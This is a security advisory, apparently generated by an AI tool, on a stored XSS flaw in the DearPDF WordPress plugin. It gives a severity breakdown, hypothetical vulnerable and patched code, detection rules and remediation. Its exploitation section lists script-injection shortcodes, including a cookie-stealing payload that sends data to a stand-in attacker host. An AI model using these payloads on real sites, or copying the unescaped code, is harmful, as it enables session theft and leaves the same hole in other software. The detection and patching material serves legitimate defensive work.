CVE-2024-23505

Executive Summary

CVE-2024-23505 is a Stored Cross-Site Scripting (XSS) vulnerability found in the DearPDF WordPress plugin (PDF Viewer & 3D PDF Flipbook – DearPDF) by DearHive. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts or HTML into the WordPress database. When an administrator or other user views the affected page (e.g., a page containing the injected PDF shortcode), the malicious script executes in their browser. The vulnerability affects all versions up to and including 2.0.38. No official patch has been released by the vendor. The CVSS v3.1 score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: any WordPress site using the DearPDF plugin (versions <= 2.0.38) is vulnerable. Attackers can exploit this by first compromising a low-privilege account (e.g., via phishing or credential stuffing) and then injecting malicious JavaScript. The injected script can steal session cookies, deface the site, or redirect users to malicious domains. Since the plugin is unpatched, site administrators must either remove the plugin or apply a virtual patch via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authentication, but the prevalence of WordPress and the lack of a patch increase the risk. The EPSS score is 0.0%, indicating low current exploitation activity, but this may change as the vulnerability becomes more widely known.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input within the DearPDF plugin's shortcode handler. The plugin likely processes attributes like pdf_url, title, or other parameters without proper sanitization or output encoding. When a user with contributor-level privileges (or higher) creates or edits a post/page and inserts the DearPDF shortcode with a malicious payload in one of these attributes, the payload is stored in the WordPress database. When an administrator or other user views that page, the plugin renders the shortcode, and the malicious script executes in the context of the victim's browser.

Root Cause: The plugin uses echo or print to output shortcode attribute values directly into the HTML without applying WordPress's built-in escaping functions like esc_attr(), esc_html(), or wp_kses_post(). This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker gains contributor-level access to a WordPress site (e.g., via stolen credentials).
2. Attacker creates a new post or page and inserts the DearPDF shortcode with a malicious payload in a vulnerable attribute, e.g.: [dearpdf pdf_url="http://example.com/test.pdf" title="<script>alert('XSS')</script>"]
3. The payload is stored in the database.
4. An administrator or other user visits the page.
5. The plugin renders the shortcode, outputting the malicious script without sanitization.
6. The script executes in the victim's browser, potentially stealing cookies, redirecting to a phishing site, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on common WordPress plugin security practices.

Vulnerable Code (Example):

function dearpdf_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'pdf_url' => '',
        'title' => '',
    ), $atts);
    $output = '<div class="dearpdf-container">';
    $output .= '<a href="' . $atts['pdf_url'] . '">' . $atts['title'] . '</a>';
    $output .= '</div>';
    return $output;
}
add_shortcode('dearpdf', 'dearpdf_shortcode_handler');

Patched Code (Hypothetical):

function dearpdf_shortcode_handler($atts) {
    $atts = shortcode_atts(array(
        'pdf_url' => '',
        'title' => '',
    ), $atts);
    $output = '<div class="dearpdf-container">';
    $output .= '<a href="' . esc_url($atts['pdf_url']) . '">' . esc_html($atts['title']) . '</a>';
    $output .= '</div>';
    return $output;
}
add_shortcode('dearpdf', 'dearpdf_shortcode_handler');

The patched version uses esc_url() for the URL attribute and esc_html() for the title attribute, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with DearPDF plugin version <= 2.0.38 installed and activated.
• A valid user account with at least Contributor role.

Step-by-Step Exploitation:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to Posts > Add New.
3. In the editor, switch to the "Text" or "Code" view.
4. Insert the following shortcode with a malicious payload:

   [dearpdf pdf_url="http://example.com/test.pdf" title="<script>alert(document.cookie)</script>"]
   

5. Publish the post.
6. As an administrator, visit the published post. The JavaScript alert will execute, displaying the administrator's session cookies.

Advanced Payload (Cookie Stealing):

[dearpdf pdf_url="http://example.com/test.pdf" title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Note: No public exploit code (e.g., Exploit-DB) is available for this CVE at the time of writing.

Blue Team (Detection & Prevention)

Detection:

• Monitor WordPress logs for unusual shortcode usage, especially from low-privilege users.
• Look for posts/pages containing <script> tags or event handlers (e.g., onload, onerror) within shortcode attributes.
• Use a Web Application Firewall (WAF) with rules to block common XSS payloads in POST requests to wp-admin/post.php or wp-admin/admin-ajax.php.

Prevention:

• Immediately disable or remove the DearPDF plugin until a patch is available.
• Apply a virtual patch via WAF to block malicious shortcode attributes.
• Restrict contributor-level accounts and enforce strong password policies.
• Regularly audit user roles and permissions.

Indicators of Compromise (IOCs)

• File System: No specific files are modified; the payload is stored in the WordPress database.
• Database: Look for posts/pages containing the shortcode [dearpdf with suspicious attribute values (e.g., containing <script>, onerror, javascript:).
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if the payload exfiltrates data).
• Logs: WordPress audit logs showing creation of posts/pages by low-privilege users with unusual shortcode usage.

Example IOC (Database Query):

SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[dearpdf%<script>%';

Detection Engineering

YARA Rule

rule CVE_2024_23505_DearPDF_XSS {
    meta:
        description = "Detects stored XSS payloads targeting DearPDF plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-23505"
    strings:
        $shortcode = /\[dearpdf[^\]]*\]/
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        $shortcode and ($xss_payload or $event_handler)
}

Sigma Rule

title: Stored XSS via DearPDF Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via DearPDF plugin shortcode attributes
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23505
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/admin-ajax.php'
        http.body|contains: 
            - '[dearpdf'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23505 DearPDF Stored XSS Attempt"; flow:to_server,established; content:"[dearpdf"; http_client_body; nocase; content:"<script"; http_client_body; nocase; distance:0; within:500; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the DearPDF plugin from all WordPress installations.
2. Virtual Patching: If the plugin is critical, apply a WAF rule to block requests containing [dearpdf combined with <script or event handlers.
3. Audit User Accounts: Review all user accounts with Contributor or higher roles. Remove any suspicious or unused accounts.
4. Scan for Existing Payloads: Run the database query provided in the IOCs section to identify any already-injected posts. Delete or sanitize them.

Long-Term Fix:

• The vendor (DearHive) must release a patched version that properly escapes shortcode attributes. Until then, consider using an alternative PDF viewer plugin that is actively maintained and has a good security track record.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your security team.